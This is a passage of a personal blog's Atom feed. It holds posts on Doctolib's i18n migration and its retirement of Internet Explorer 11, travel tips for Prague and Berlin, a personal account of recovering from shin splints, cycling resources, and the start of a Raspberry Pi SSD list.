&lt;p&gt;We came up with a script that runs at night, once a day, on the CI. It basically does a diff of all the i18n keys found in &lt;code&gt;fr.yml&lt;/code&gt;, &lt;code&gt;de.yml&lt;/code&gt; and &lt;code&gt;it.yml&lt;/code&gt; minus those from &lt;code&gt;en.yml&lt;/code&gt;. Then, though Phrase's API, it sequentially removes all the French/German/Italian translations for these keys from Phrase. In the next day, when our job than pulls translations from Phrase will run, all our YAML files will contain the same i18n keys.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;That's it. This is how Doctolib switched from French as a default language to English. We hope this is helpful. Beyond the migration itself, we've learned a lot and were not only able to improve our translation process but also how features are internationalized, making our engineers' lives easier.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;If you want more technical news, follow our journey through our &lt;a href="https://doctolib.engineering/engineering-news-ruby-rails-react/"&gt;docto-tech-life newsletter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And if you want to join us in scaling a high traffic website and transforming the healthcare system, we are hiring talented developers to grow our tech and product team in France, Germany and Italy, feel free to have a look at the &lt;a href="https://about.doctolib.com/jobs?department=Engineering"&gt;open positions&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content><category term="Code"></category><category term="localization"></category><category term="internationalization"></category><category term="i18n"></category><category term="l10n"></category></entry><entry><title>Things To Do In Prague</title><link href="https://romainpellerin.eu/things-to-do-in-prague.html" rel="alternate"></link><published>2021-11-10T23:45:00+01:00</published><updated>2021-11-15T23:49:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-11-10:/things-to-do-in-prague.html</id><summary type="html">&lt;p&gt;Ideas for a weekend in Prague&lt;/p&gt;</summary><content type="html">&lt;p&gt;Prague is a relatively small city, for a capital. But it is gorgeous! The city center is almost exclusively made of pedestrian-only areas, with narrow streets full of live where cobble stones are king. The architecture is beautiful, and the city is overlooked by a castle. A perfect destination in Europe for a couple of days. I went there for just a little over two days, as it's only 4 hours away from Berlin by train. Here is what I recommend.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Go for a stroll in the park around the &lt;strong&gt;Prague Metronome&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Žižkov Television Towe&lt;/strong&gt;r: not the best point of view in the city but the tower is controversial and odd, that's worth taking a close look at it. Going to the top is relatively cheap.&lt;/li&gt;
&lt;li&gt;Pass by the &lt;strong&gt;The Powder Tower&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Next to the &lt;strong&gt;Old Town Square&lt;/strong&gt;, don't miss:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Church of Our Lady before Týn&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;St. Nicholas' Church&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prague Astronomical Clock&lt;/strong&gt;: every hour on the clock, the clock goes into motion. Don't expect anything fancy, but it attracts tourists.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I've heard the &lt;strong&gt;Národní muzeum&lt;/strong&gt; is a must-see, although I lacked time to visit it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;Dancing House&lt;/strong&gt; is cool to see.&lt;/li&gt;
&lt;li&gt;A classic, the very crowded &lt;strong&gt;Charles Bridge&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;On the left bank, the &lt;strong&gt;Lennon Wall&lt;/strong&gt; makes for a nice detour.&lt;/li&gt;
&lt;li&gt;If you're headed to the top of hill via the inclided railway, stop by the &lt;strong&gt;Memorial to the Victims of Communism&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Speaking of the hill, make sure to go to the top of the &lt;strong&gt;Petrin Tower&lt;/strong&gt;. A hundred times better than the TV tower, better viewpoint, more fun, partly outdoors.&lt;/li&gt;
&lt;li&gt;There is another &lt;strong&gt;St. Nicholas Church&lt;/strong&gt; to visit on the left bank. You can explore the inside and go to the top for a few Czech Crowns.&lt;/li&gt;
&lt;li&gt;Last but not least, the &lt;strong&gt;Prague Castle&lt;/strong&gt;. There are many things to do there, most notably the &lt;strong&gt;St. George's Basilica&lt;/strong&gt;, plan for at least 3 hours.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While you're in Prague, you HAVE to eat a Trdelník (also called Trdlo). It is amazingly good!&lt;/p&gt;
&lt;p&gt;Accomodation-wise, I recommend staying in the Hotel Leonardo Prague, it is fairly inexpensive for a 4-star hotel, and perfectly located, close to all the touristy places.&lt;/p&gt;
&lt;p&gt;In Prague, you'll find many Nextbike stations and bikes in the city. It's the best way to get around!&lt;/p&gt;
&lt;p&gt;Hope this helps. :)&lt;/p&gt;</content><category term="Travels"></category><category term="prague"></category><category term="czech republich"></category></entry><entry><title>Climate Change</title><link href="https://romainpellerin.eu/climate-change.html" rel="alternate"></link><published>2021-11-07T20:00:00+01:00</published><updated>2022-07-26T15:03:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-11-07:/climate-change.html</id><summary type="html">&lt;p&gt;Resources on climate change&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/HR-sZlRqpPk" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/nAm3ud-6JdU" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/GVJRZqI6h2k" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/RilwnjDwTOc" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;</content><category term="What's bad about"></category><category term="climate"></category></entry><entry><title>Living in Germany: Things To Do In Berlin</title><link href="https://romainpellerin.eu/living-in-germany-things-to-do-in-berlin.html" rel="alternate"></link><published>2021-09-24T22:30:00+02:00</published><updated>2023-10-13T00:31:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-09-24:/living-in-germany-things-to-do-in-berlin.html</id><summary type="html">&lt;p&gt;The ultimate travel guide for Berlin&lt;/p&gt;</summary><content type="html">&lt;p&gt;Before diving into the list of things to do, make sure to get yourself a bike to see the city, as it's the cheapest and oftentimes the fastest means of transportation. Nextbike and "Call a bike" bikes are my favorite ones. Register yourself through these apps in no time and start exploring the city!&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/PPZiMBcDz7M" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="museums"&gt;Museums&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Check out the Museum island!&lt;/li&gt;
&lt;li&gt;DDR museum&lt;/li&gt;
&lt;li&gt;Stasi museum&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="viewpoints"&gt;Viewpoints&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Fernsehturm (TV tower) = 22.5 euros&lt;/li&gt;
&lt;li&gt;Berliner Dom (cathedral) = 9 euros&lt;/li&gt;
&lt;li&gt;Panoramapunkt = 7.5 euros. Make sure to also check out Potsdamer Platz.&lt;/li&gt;
&lt;li&gt;Siegessäule (victory column) = 3.5 euros to the top&lt;/li&gt;
&lt;li&gt;The rooftop of the Park-Inn hotel = 3 euros, I've been told&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="fun-activities"&gt;Fun activities&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Tropical Island&lt;/li&gt;
&lt;li&gt;&lt;a href="https://canoa-berlin.de/de"&gt;Canoeing&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Illuseum Berlin (museum of illusion): very fun, lasts an hour, 12 euros&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="must-see"&gt;Must-see&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Brandenburger Tor (Brandenburg gate)&lt;/li&gt;
&lt;li&gt;Reichstag = book at least a month in advance, and get a free guided tour! One of my favorite activities in Berlin.&lt;/li&gt;
&lt;li&gt;Wander in Tiergarten&lt;/li&gt;
&lt;li&gt;Unter den Linden&lt;/li&gt;
&lt;li&gt;Memorial to the Murdered Jews of Europe&lt;/li&gt;
&lt;li&gt;East Side gallery and Oberbaumbrücke&lt;/li&gt;
&lt;li&gt;Checkpoint Charlie&lt;/li&gt;
&lt;li&gt;Tempelhofer Feld&lt;/li&gt;
&lt;li&gt;Gendarmenmarkt&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="restaurants"&gt;Restaurants&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;YAFO&lt;/li&gt;
&lt;li&gt;Umami (in Prenzlauer Berg)&lt;/li&gt;
&lt;li&gt;Cafe Anna Blume = go there for a nice brunch&lt;/li&gt;
&lt;li&gt;Hofbräu Wirtshaus Berlin = AMAZING atmosphere, expect some singing and jumping on the benches! And loads of beer!&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="bonus"&gt;Bonus&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Mauerpark and its Sunday flea market. Next to it is the Berlin Wall Memorial.&lt;/li&gt;
&lt;li&gt;Berlin Unterwelten: nice tours in the underground Berlin, available in multiple languages, not just English or German&lt;/li&gt;
&lt;li&gt;Teufelsberg: the ticket costs 8 euros. On Saturdays at 2pm it even gets you an hour long guided tour.&lt;/li&gt;
&lt;li&gt;Nikolaiviertel&lt;/li&gt;
&lt;li&gt;Soviet War Memorial in Tiergarten&lt;/li&gt;
&lt;li&gt;Go to one of the numerous flea markets that take place on the weekends&lt;/li&gt;
&lt;li&gt;Mall of Berlin = there is a slide inside!&lt;/li&gt;
&lt;li&gt;In Potsdam (outside Berlin): the Sanssouci Palace and the Neues Palais. Get a Sanssouci+ Ticket for 22 euros and visit them both but also the windmill, the picture gallery, and more, on the same day!&lt;/li&gt;
&lt;li&gt;Klunkerkranich&lt;/li&gt;
&lt;li&gt;Berlin Story bunker&lt;/li&gt;
&lt;li&gt;Go watch a show at Friedrichstadt-Palast or at Wintergarten&lt;/li&gt;
&lt;li&gt;Eat at Markthalle Neun&lt;/li&gt;
&lt;li&gt;Visit the root terrace of the Humboldt Forum&lt;/li&gt;
&lt;/ul&gt;</content><category term="Travels"></category><category term="berlin"></category><category term="germany"></category></entry><entry><title>Est-ce que je vais me faire vacciner ?</title><link href="https://romainpellerin.eu/est-ce-que-je-vais-me-faire-vacciner.html" rel="alternate"></link><published>2021-07-19T12:30:00+02:00</published><updated>2022-01-14T23:35:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-07-19:/est-ce-que-je-vais-me-faire-vacciner.html</id><summary type="html">&lt;p&gt;Une vidéo sur pourquoi il n'y a aucune raison de ne pas se faire vacciner&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/GBzJ77y8Bho" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;a href="https://www.arte.tv/fr/videos/104055-000-A/covid-19-la-course-aux-vaccins/"&gt;Covid-19, la course aux vaccins (Arte)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/C_A_Gustave/status/1482036177335115779"&gt;Depuis plusieurs semaines, vous avez forcément entendu ces propos au sujet des vaccins anti-COVID : "le vaccin n’est pas parfait, sinon il nous protègerait longtemps, comme pour la grippe" ; "ce n'est pas un vrai vaccin, sinon on n'aurait pas besoin de tant de doses"...&lt;/a&gt; (&lt;a href="https://threadreaderapp.com/thread/1482036177335115779.html"&gt;alternative link&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/lionel_case/status/1409858174765654021"&gt;Pour répondre à l'argument du "il y a X% de vaccinés parmi les néo-infectés"&lt;/a&gt; (&lt;a href="https://threadreaderapp.com/thread/1482036177335115779.html"&gt;alternative link&lt;/a&gt;)&lt;/p&gt;</content><category term="About me"></category><category term="covid"></category><category term="vaccine"></category><category term="pfizer"></category><category term="vaccin"></category></entry><entry><title>Shin Splints</title><link href="https://romainpellerin.eu/shin-splints.html" rel="alternate"></link><published>2021-06-13T21:30:00+02:00</published><updated>2024-06-25T10:57:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-06-13:/shin-splints.html</id><summary type="html">&lt;p&gt;I got that... and healed. Here is the truth about my healing... haha!&lt;/p&gt;</summary><content type="html">&lt;p&gt;So now that I am a pro runner because I managed to run &lt;a href="https://www.strava.com/activities/5368040239"&gt;a half marathon once in my life&lt;/a&gt;, let me tell you about shin splints. Cause yeah, I got that following that run, and I could barely walk over the next 10 days, let alone running. So yes, I am kidding, I am no pro runner at all, quite the opposite actually...&lt;/p&gt;
&lt;h1 id="what-the-heck-is-shin-splints"&gt;What the heck is "shin splints"?&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://orthoinfo.aaos.org/en/diseases--conditions/shin-splints/"&gt;This website&lt;/a&gt; says it's "&lt;em&gt;an inflammation of the muscles, tendons, and bone tissue around your tibia&lt;/em&gt;". Basically, a pain around the tibia. It can be as benign as an inflammation, and be as bad as a stress fracture. Fortunately, I had the former form of it (I guess?!). It mostly happens when you're over-exercising (like running twice the distance you had previously run the longest before, on a whim), are under-prepared, when you exercice too often or don't give your body time to rest.&lt;/p&gt;
&lt;h1 id="how-did-i-heal"&gt;How did I heal?&lt;/h1&gt;
&lt;p&gt;As I had a minor form of it (again, I guess, not sure, I did not see any doctor for that), healing took rather little time. From the day I ran till the day I was not feeling any pain any longer, 10 days went by. The pain started to kick in in the last couple of kilometers, during the run. Then, the first three days I swear I could not walk, I was limping. Oddly enough, casual urban cycling was fine. I am not talking about proper road cycling, but you know, going from A to B in a city.&lt;/p&gt;
&lt;p&gt;After these 3 first days, some googling and a lot of Youtube searching, I applied ice on my tibia 1 or 2 times a day, for a few days. In addition to that, I lightly wrapped (strapped) my leg in a gym plastic band several hours a day, something similar to a resistance band, so as to keep my flesh tight. Not too much of course, I did not want to block the blood flow. Also I did no running and very little walking on these days. The first two or three days I did not notice any improvement, and then all of a sudden, the pain when walking greatly decreased. It took another 2 or 3 days plus some proper good paced road cycling towards the end of the recovery period, for the pain to finally completely go away.&lt;/p&gt;
&lt;p&gt;What I am writing here is no medical advise at all, I am just sharing my personal experience. Maybe what I did was good, maybe not, maybe I would have healed faster or slower should I have done things differenlty, I have no clue.&lt;/p&gt;
&lt;p&gt;Anyway, as I am writing this, I still have not tried running again, as I injured myself only 20 days ago, but the pain is 100% gone and I walk normaly again. Hopefully the next time I try running I'll be fine... and hopefully you'll find this article helpful. :)&lt;/p&gt;</content><category term="Running"></category><category term="shin splints"></category><category term="health"></category><category term="running"></category></entry><entry><title>Waving Goodbye to Internet Explorer 11 in 2021</title><link href="https://romainpellerin.eu/waving-goodbye-to-internet-explorer-11-in-2021.html" rel="alternate"></link><published>2021-06-01T23:30:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-06-01:/waving-goodbye-to-internet-explorer-11-in-2021.html</id><summary type="html">&lt;p&gt;Two years ago, we published “Supporting Internet Explorer 11 in 2019”. This year, we are bidding farewell to it. But hold on a minute! What happened between then and now? Let me tell you the story of a difficult break up between Doctolib and Internet Explorer…&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://medium.com/doctolib/waving-goodbye-to-internet-explorer-11-in-2021-b01a8c5c9864"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Two years ago, we published "&lt;a href="https://romainpellerin.eu/supporting-internet-explorer-11-in-2019.html"&gt;Supporting Internet Explorer 11 in 2019&lt;/a&gt;". This year, we are bidding farewell to it. But hold on a minute! What happened between then and now? Let me tell you the story of a difficult break up between Doctolib and Internet Explorer... (&lt;a href="https://www.theverge.com/2021/5/19/22443997/microsoft-internet-explorer-end-of-support-date"&gt;and we're not the only ones&lt;/a&gt; 🤫)&lt;/p&gt;
&lt;h1 id="motivations"&gt;Motivations&lt;/h1&gt;
&lt;p&gt;Back in 2019, a major motivation for us to stop supporting old browsers on the website healthcare professionals use to access our service was that we had two different pipelines to bundle JavaScript code: one was through Webpack and &lt;a href="https://babeljs.io/"&gt;Babel&lt;/a&gt;, the other one through the &lt;a href="https://guides.rubyonrails.org/asset_pipeline.html"&gt;Ruby on Rails asset pipeline&lt;/a&gt; (also known as Sprockets). The good news is, last year we managed to get rid of Sprockets. Now, all of our JavaScript files go through Webpack. Therefore, we do not need to write ES5-compliant code anymore, we can write modern JavaScript everywhere in our mono-repository. However we still have to instruct Babel to transpile some packages that do not come pre-transpiled. And let's be honest, monitoring breaking changes as library authors release new versions is no fun at all.&lt;/p&gt;
&lt;p&gt;Our other motivations were:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cost of maintaining additional integration tests running on old browsers. Back then we were using Browserstack, we since then moved to Lambdatest, because we found it to be more reliable and noticed less random test fails. But that still remains a pain to maintain. Not only does Lambdatest occasionally fail, but also some specific browser versions do not mingle well with &lt;a href="https://github.com/teamcapybara/capybara"&gt;Capybara&lt;/a&gt; (our test framework). For instance, we found that &lt;a href="https://rubydoc.info/github/jnicklas/capybara/Capybara/Node/Actions#click_link_or_button-instance_method"&gt;&lt;code&gt;click_on&lt;/code&gt;&lt;/a&gt; would consistently not work with Safari 13 in some pages.&lt;/li&gt;
&lt;li&gt;We still have occasional down incidents. One of the recent ones was due to &lt;code&gt;scrollTo&lt;/code&gt; being used with options, which is &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/scrollTo#browser_compatibility"&gt;not supported by Internet Explorer 11&lt;/a&gt;. And of course, Babel can't do anything about it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These motivations are still valid to this day. On top of that, since 2019, we have developed new features and brought &lt;a href="https://info.doctolib.fr/blog/doctolib-adopte-le-chiffrement-de-bout-en-bout-nouvelle-etape-dans-la-securisation-des-donnees-de-sante/"&gt;end-to-end encryption everywhere in the app&lt;/a&gt;. Yet, some of these old browsers have limited support for some of the web APIs we are using. As a consequence, these users can not enjoy the complete feature set Doctolib has to offer, and they are unable to see encrypted documents (PDF documents for instance), as encryption/decryption is done in the browser. Therefore, at the beginning of this year, we initiated a new project that we like to call "Browser Upgrade Campaign: reborn".&lt;/p&gt;
&lt;h1 id="browser-upgrade-campaign-reborn"&gt;Browser Upgrade Campaign: reborn&lt;/h1&gt;
&lt;p&gt;Admittedly, our previous attempt at having our customers upgrade their browsers was a failure. We are trying to get it right this time. The timeline we laid out was as follows:&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/waving-goodbye-to-internet-explorer-11-in-2021/timeline.png" alt="The image of the timeline" /&gt;
&lt;figcaption&gt;Timeline of our new project to reduce the use of outdated browsers, over 2021&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Regarding the list of browsers we wanted to keep supporting, we kept the same list as in 2019, with one minor change: we would no longer support Edge 17. Here are the browsers we officially support from now on, on our pro website:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Safari 12+&lt;/li&gt;
&lt;li&gt;Edge 18+ (18 is the last non Chrome-based version of Edge)&lt;/li&gt;
&lt;li&gt;Chrome 50+&lt;/li&gt;
&lt;li&gt;Firefox 45+ (version 45 in an Extended Support Release)&lt;/li&gt;
&lt;li&gt;No Internet Explorer version at all&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Preventing the use of non supported browsers internally was an easy win. All it took was good communication and the flip of a switch. After that, any Doctolib employee trying to use an outdated browser would be welcomed by the following page:&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/waving-goodbye-to-internet-explorer-11-in-2021/page.png" alt="A screenshot of the page preventing the use of Doctolib" /&gt;
&lt;figcaption&gt;The page preventing people from using an outdated browser&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;The two following steps were almost as easy. After setting up some tracking through New Relic, we realized we did not have that many new connections on outdated browsers every day. What's a new connection? It's a connection from a browser that never connected to Doctolib before. How do we determine whether it ever accessed Doctolib before? We look for existing cookies sent in the request.&lt;/p&gt;
&lt;p&gt;Based on that fact, we first blocked any new connection on Internet Explorer 11. Then, over the next few days, we monitored the amount of support tickets and phone calls: nothing. No one complained. We then did the same operation with other deprecated browsers.&lt;/p&gt;
&lt;p&gt;Then came the fourth step.&lt;/p&gt;
&lt;h1 id="walking-on-eggs"&gt;Walking on eggs&lt;/h1&gt;
&lt;p&gt;Given that there had been a red banner displayed at the top of Doctolib for the last two years to users surfing with outdated browsers, our users were well aware of that. But of course we knew it was not enough. Why would our graphs still show relatively high usage of outdated browsers, uh?&lt;/p&gt;
&lt;p&gt;In April and May we sent out two email campaigns: one to remote secretaryship centers, another one to key accounts (most of them being hospitals or Covid-19 vaccination centers). This time, unlike in 2019, we explicitly told them which users were still using non supported browsers and gave them a deadline after which we would no longer be able to use these browsers. We made sure to tell them which obsolete browsers they were using and what options they had to upgrade.&lt;/p&gt;
&lt;p&gt;In the meantime, we compiled a big list of user accounts that were using multiple browsers, both supported and non supported ones. Every day, we'd pick a bunch of them and enable a feature switch on their account, that would prevent them from logging in with a non supported browser. Once again, we daily monitored our support, making sure everything was going as smoothly as possible.&lt;/p&gt;
&lt;p&gt;And it finally happened for good this time: the curve went down and eventually reached zero.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/waving-goodbye-to-internet-explorer-11-in-2021/graph.png" alt="A graph showing the use of Internet Explorer over time" /&gt;
&lt;figcaption&gt;Use of Internet Explorer among healthcare professionals on Doctolib&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;After the feature switch had been flipped for all of our users seamlessly, we removed the feature switch and hardcoded these browsers' name and versions directly in the codebase, to make sure no one would ever use them again.&lt;/p&gt;
&lt;p&gt;This project is, as I am writing this article, coming to an end. Interestingly enough, in two years' time, our browser market share changed a lot, Internet Explorer slowing fading out into oblivion... and Microsoft Edge taking off!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/waving-goodbye-to-internet-explorer-11-in-2021/market-share.png" alt="Browser market share over time" /&gt;
&lt;figcaption&gt;Browser market share on Doctolib pro&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;em&gt;If you want more technical news, follow our journey through our &lt;a href="https://doctolib.engineering/engineering-news-ruby-rails-react/"&gt;docto-tech-life newsletter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;And if you want to join us in scaling a high traffic website and transforming the healthcare system, we are hiring talented developers to grow our tech and product team in France and Germany, feel free to have a look at the &lt;a href="https://about.doctolib.com/jobs?department=Engineering"&gt;open positions&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content><category term="Code"></category><category term="internet explorer"></category><category term="browsers"></category></entry><entry><title>Living in Germany: Fahrräder und Deutsche Bahn</title><link href="https://romainpellerin.eu/living-in-germany-fahrraeder-und-deutsche-bahn.html" rel="alternate"></link><published>2021-05-05T23:30:00+02:00</published><updated>2025-01-20T00:01:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-05-05:/living-in-germany-fahrraeder-und-deutsche-bahn.html</id><summary type="html">&lt;p&gt;Things to know if you intend to carry your dismantled bike on a Deutsche Bahn train&lt;/p&gt;</summary><content type="html">&lt;h1 id="german-resources"&gt;German resources&lt;/h1&gt;
&lt;h2 id="official"&gt;Official&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.bahn.de/hilfe/view/pk/en/fahrrad.shtml"&gt;https://www.bahn.de/hilfe/view/pk/en/fahrrad.shtml&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bahn.de/p/view/service/zug/gepaeck.shtml"&gt;https://www.bahn.de/p/view/service/zug/gepaeck.shtml&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bahn.de/p/view/service/fahrrad/07rad_fahrradzuege.shtml"&gt;https://www.bahn.de/p/view/service/fahrrad/07rad_fahrradzuege.shtml&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="return-on-experience"&gt;Return on Experience&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://lifecyclemag.de/tranzbag/"&gt;https://lifecyclemag.de/tranzbag/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.diamantrad.com/blog/fahrradmitnahme-bahn/#Fahrrad_in_der_Bahn_als_Handgepaeck_mitnehmen"&gt;https://www.diamantrad.com/blog/fahrradmitnahme-bahn/#Fahrrad_in_der_Bahn_als_Handgepaeck_mitnehmen&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="misc"&gt;Misc&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.adfc.de/artikel/neue-bedingungen-zur-fahrradmitnahme-in-der-bahn"&gt;https://www.adfc.de/artikel/neue-bedingungen-zur-fahrradmitnahme-in-der-bahn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://nationaler-radverkehrsplan.de/de/aktuell/nachrichten/neue-bedingungen-zur-fahrradmitnahme-der-bahn"&gt;https://nationaler-radverkehrsplan.de/de/aktuell/nachrichten/neue-bedingungen-zur-fahrradmitnahme-der-bahn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="english-resources"&gt;English resources&lt;/h1&gt;
&lt;h2 id="official_1"&gt;Official&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.bahn.com/en/view/trains/on-board-service/luggage.shtml"&gt;https://www.bahn.com/en/view/trains/on-board-service/luggage.shtml&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bahn.de/hilfe/view/pk/en/fahrrad.shtml"&gt;https://www.bahn.de/hilfe/view/pk/en/fahrrad.shtml&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="fahrrad"></category><category term="germany"></category><category term="deutsche bahn"></category></entry><entry><title>Cycling Events</title><link href="https://romainpellerin.eu/cycling-events.html" rel="alternate"></link><published>2021-05-02T23:30:00+02:00</published><updated>2022-07-05T12:08:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-05-02:/cycling-events.html</id><summary type="html">&lt;p&gt;Some cycling events I know of, and would like to participate in&lt;/p&gt;</summary><content type="html">&lt;h1 id="in-berlin"&gt;In Berlin&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://criticalmass.berlin/"&gt;Critical Mass&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://velofestivals.com/veloberlin/"&gt;VELOBerlin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.nicolawernerchallenge.org/"&gt;The Nicola Werner Challenge&lt;/a&gt;: in Berlin and Paris&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.regionalparks-brandenburg-berlin.de/rund-um-berlin-2/"&gt;RUND UM BERLIN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://huegelmarathon.de/en/"&gt;HÜGELMarathon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="elsewhere"&gt;Elsewhere&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.letapebyletourdefrance.com/"&gt;L'Étape du Tour de France&lt;/a&gt;: in France and other countries, every year&lt;/li&gt;
&lt;/ul&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="cycling"></category><category term="berlin"></category></entry><entry><title>Raspberry Pi and SSD</title><link href="https://romainpellerin.eu/raspberry-pi-and-ssd.html" rel="alternate"></link><published>2021-01-10T17:50:00+01:00</published><updated>2023-03-10T11:17:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-01-10:/raspberry-pi-and-ssd.html</id><summary type="html">&lt;p&gt;Resources on Raspberry Pis and SSDs&lt;/p&gt;</summary><content type="html">&lt;h1 id="ssds"&gt;SSDs&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.berrybase.de/kingston-2-5-sata-ssd-a400-240gb"&gt;Kingston 2,5" SATA SSD A400 240GB&lt;/a&gt; (&lt;a href="https://jamesachambers.com/raspberry-pi-cheap-ssd-upgrade-30/"&gt;a full blog article here&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/Samsung-250GB-2-5-inch-Solid-State/dp/B078WQJXNF"&gt;Samsung EVO 860 250GB&lt;/a&gt;&lt;/li&gt;
